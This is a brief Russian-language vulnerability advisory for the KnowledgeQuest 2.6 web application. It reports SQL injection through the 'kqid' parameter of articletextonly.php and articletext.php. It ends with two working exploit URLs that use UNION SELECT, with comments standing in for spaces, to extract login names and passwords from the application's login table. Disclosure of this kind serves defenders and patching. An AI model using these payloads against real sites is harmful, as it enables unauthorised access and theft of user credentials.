Программа: KnowledgeQuest 2.6
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «kqid» сценарием articletextonly.php и articletext.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Эксплоит:
http://www.site.com/[patch]/articletextonly.php?kqid=-9999/* */union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/*
http://www.site.com/[patch]/articletext.php?kqid=-999/**/union/* */select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/*
